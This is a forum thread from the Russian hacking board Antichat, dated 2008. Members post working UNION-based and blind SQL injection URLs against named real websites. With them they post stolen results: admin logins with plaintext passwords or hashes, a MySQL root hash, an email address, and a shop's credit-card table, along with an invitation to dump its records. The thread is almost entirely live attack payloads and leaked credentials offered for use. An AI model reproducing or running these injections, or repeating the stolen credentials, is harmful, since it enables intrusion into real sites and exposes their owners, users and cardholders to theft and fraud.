HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 17.11.2008, 04:07
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами: 9270510

Репутация: 519


По умолчанию

Код:
http://www.albanianroyalfamily.com/index.php?faqe=shfaqlajm&lajmid=-9999+union+all+select+1,2,convert(concat_ws(char(58),username,password)+using+utf8),4,null,6,null,8,9+from+login--
логин/пасс:
Код:
admin:mbreti
-------------------------------------------
Код:
http://www.gazeta-standard.com/tekst.php?idt=6342+and+1=2+union+all+select+1,concat(username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+editor--
логин/пасс:
Код:
admin:62a90ccff3fd73694bf6281bb234b09a
-------------------------------------------
Код:
http://www.gazetaetiranes.com.al/print.php?lajmID=922'+union+select+1,2,concat(username,char(58),password),4,5,6,7,8,9,10,11,12,13,14+from+user/*
логин/пасс:
Код:
admin-gt:2fa4b2f3e0acb4e59e02d060db05da74
----------------------------------------------
Код:
http://www.reutov.net/iss/photo_news/news/newsone.php?id=-394%20union%20select%201,2,3,4,concat_ws(char(58),name,pass),6,7,8,9+from+users+limit+1,1/*
логин/пасс:
Код:
drupal:9536bdcd9e3faa581d6991b5d04ac4ec
--------------------------------------------
Код:
http://www.ktpae.gr/declaration_more.php?decl_id=-172+union+select+1,concat_ws(char(58),user,password),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1+from+mysql.user/*
логин/пасс:
Код:
root:*3225EBFDCE9E60181BB8157769BC1EF316DC15D0
---------------------------------------------
The End!
 
Ответить с цитированием

  #2  
Старый 17.11.2008, 10:22
DimOnOID
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами: 10226672

Репутация: 441
По умолчанию

http://deti.mail.ru/nyanya?type=2+and+substring(version(),1,1)=4
version(): 4.0
http://deti.mail.ru/lineyki?edit=[id вашей созданной линейки]+and+substring(version(),1,1)=4
 
Ответить с цитированием

  #3  
Старый 17.11.2008, 06:14
Calcutta
Постоянный
Регистрация: 06.08.2007
Сообщений: 347
С нами: 9875796

Репутация: 770
По умолчанию

http://shop.health-beauty.ca/content.php?TextID=1+and+substring(version(),1,1)= 4

version()=4
 
Ответить с цитированием

  #4  
Старый 17.11.2008, 06:31
truelamer
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
С нами: 9742875

Репутация: 81
По умолчанию

http://www.mapcentre.ru/index.php?productID=1276+or+ascii(lower(substr(ver sion(),1,1)))=53--%20

5 ветка


http://www.mapcentre.ru/index.php?productID=1276+or+ascii(lower(substr((se lect+table_name+from+INFORMATION_SCHEMA.TABLES+lim it+16,1),1,1)))=118--%20

т.е имя 16 таблицы начинается с буквы 'v', view)))

ну и так далее? как говориться курочка по зернышку....)
 
Ответить с цитированием

  #5  
Старый 17.11.2008, 09:17
pingvincible
Новичок
Регистрация: 03.11.2008
Сообщений: 5
С нами: 9220448

Репутация: 5
По умолчанию

Код:
http://www.comingsoon.net/films.php?id=11750+and+ascii(lower(substring(user(),1,1)))<=100+#+
user: comingso_nextra
database: comingso_nextra
version: 4

не дает юзать union select.
 
Ответить с цитированием

  #6  
Старый 17.11.2008, 17:05
Sindicat
Новичок
Регистрация: 14.11.2008
Сообщений: 12
С нами: 9204703

Репутация: 10
По умолчанию

Удалите сообщение не туда написал
 
Ответить с цитированием

  #7  
Старый 17.11.2008, 17:53
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами: 9650336

Репутация: 662
По умолчанию

http://www.edreams.es/vueltaalmundo/post.php?id_post=1+union+select+ 1,2,concat_ws(0x3a3a,TABLE_NAME),4,5+from+informat ion_schema.tables+l imit+25,2/*
---------------------------------
table:
usuario
votos_final
voto
video
ultimasvisitas
postcomentario
post
perfil
foto
CHARACTER_SETS
experiencia
ed_languages
ed_countries_text
comentario
VIEWS
USER_PRIVILEGES
TRIGGERS
TABLE_PRIVILEGES
TABLE_CONSTRAINTS
TABLES
STATISTICS
SCHEMA_PRIVILEGES
SCHEMATA
ROUTINES
KEY_COLUMN_USAGE
COLUMN_PRIVILEGES
COLUMNS
COLLATION_CHARACTER_SET_APPLICABILITY
COLLATIONS
CHARACTER_SETS
----------------------
column:
COLLATION_NAME
MAXLEN
DESCRIPTION
DEFAULT_COLLATE_NAME
CHARACTER_SET_NAME


http://www.edreams.es/vueltaalmundo/post.php?id_post=1+union+select+ 1,2,concat_ws(0x3a3a,login,password),4,5+from+usua rio+ limit+0,1/*
 
Ответить с цитированием

  #8  
Старый 17.11.2008, 18:09
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами: 9650336

Репутация: 662
По умолчанию

http://www.librenet.net/forum/post.php?id_post=652+union+select+1,2,concat_ws(0x 3a3a,COLUMN_NAME),4,5,6,7,8+from+inf ormation_schem a.columns/*&id_topic=41

http://www.librenet.net/forum/post.p hp?id_post=652+union+select+1,2,concat_ws(0x3a3a,p ass_user,login_user),4,5,6,7,8+from +user/*&id_topic=41

columnass_user login_user
table:USER_PRIVILEGES administre_serveur moderation user


c3dric::6cc8260ee2bcc56083a35cd98b775f02(23041983)
 
Ответить с цитированием

  #9  
Старый 17.11.2008, 18:28
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами: 9650336

Репутация: 662
По умолчанию

http://belarusgo.com/view_subsection.php?page=2&id_subsection=68&id_cit y=9&id_section=-13+union+s elect+1,2,concat_ws(0x3a3a,login_user,password_use r),4,5,6 +from+user--
 
Ответить с цитированием

  #10  
Старый 18.11.2008, 02:49
ThreeD
Banned
Регистрация: 25.12.2006
Сообщений: 179
С нами: 10198073

Репутация: 354
По умолчанию

Четвёртая ветка, шоп.

http://www.worldfolkart.org/product.php?id=-2423'+union+select+1,2,3,concat_ws(0x3A3a,id,passw ord,username,email),5,6,7,8,9,10,11,12,13,14,15,16 ,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,3 3,34,35,36,37,38,39+from+users/*&cat_id=46&sub_id=312

1::flash62::wes::wes@joedesigns.com

Логинимся тут вроде
http://www.worldfolkart.org/cart_account.php

Картон )))

http://www.worldfolkart.org/product.php?id=-2423'+union+select+1,2,3,concat_ws(0x3A3a,cc_num,c c_name,cc_type),5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 ,35,36,37,38,39+from+orders/*&cat_id=46&sub_id=312

по count 4787 штук в базе, without cvv. Можете дампить, я плохими делами не занимаюсь.
Удачи )))
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.